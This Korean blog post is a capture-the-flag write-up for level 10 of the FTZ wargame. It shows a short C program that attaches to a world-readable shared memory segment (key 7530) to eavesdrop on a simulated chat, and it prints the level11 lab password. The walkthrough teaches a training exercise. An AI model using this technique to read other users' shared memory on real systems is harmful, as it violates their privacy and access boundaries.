Jaeseo's Information Security Story

FTZ - level10 - WriteUp 본문

Write UP/FTZ

FTZ - level10 - WriteUp

Jaeseokim 2019. 11. 13. 16:56

FTZ - level10 - WriteUp

level10:interesting to hack!

hint 파일을 봅니다.

[level10@ftz level10]$ cat hint 


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며, 
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.


힌트 파일을 보면 공유메모리에 대한 프로그래밍을 하고 key_t를 가지고 대화를 살펴 보라는 문제로 보입니다.

일단 c로 공유메모리 프로그램을 하기 위해 인터넷을 통해 검색을 해보았습니다.

SharedMemory

위의 링크에 매우 자세히 설명이 되어 있어서 참고하면서 프로그래밍을 하였습니다.

ipcs -m명령어를 통해 살펴본 결과 아래와 같이 실제로 공유 메모리를 사용하는 모습을 볼 수가 있습니다.

[level10@ftz level10]$ ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status      
0x00001d6a 0          root      666        1028       0                       

이제 프로그래밍을 해봅니다.

#include <stdio.h>
#include <sys/shm.h>

int main(int argc, char const *argv[]) {
  int shmid;
  char* shared_memory;
  shmid = shmget(7530,1024,0666); 
  //shmget를 통해 key_t=7530의 최소 데이터를 1024만큼으로 0666의 권한으로 shmid 가져온다. 
  shared_memory = shmat(shmid,0,0); //shmid를 가지고 읽기/쓰기 권한으로 데이터를 가져온다.
  printf("%s", shared_memory); //출력을 해준다.
  shmdt(shared_memory); //shared_memory의 연결을 해제한다.
  return 0;
}

gcc test.c -o test.out를 통해 컴파일을 하고 실행을 하면 아래와 같이 공유메모리의 데이터를 볼 수 있

습니다.

[level10@ftz tmp]$ ./test.out 
멍멍: level11의 패스워드는?
구타: what!@#$?

level11:what!@#$?

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level12 - WriteUp  (0) 2019.11.18
FTZ - level11 - WriteUp  (0) 2019.11.15
FTZ - level9 - WriteUp  (0) 2019.11.12
FTZ - level8 - WriteUp  (0) 2019.11.11
FTZ - level7 - WriteUp  (0) 2019.11.11
Comments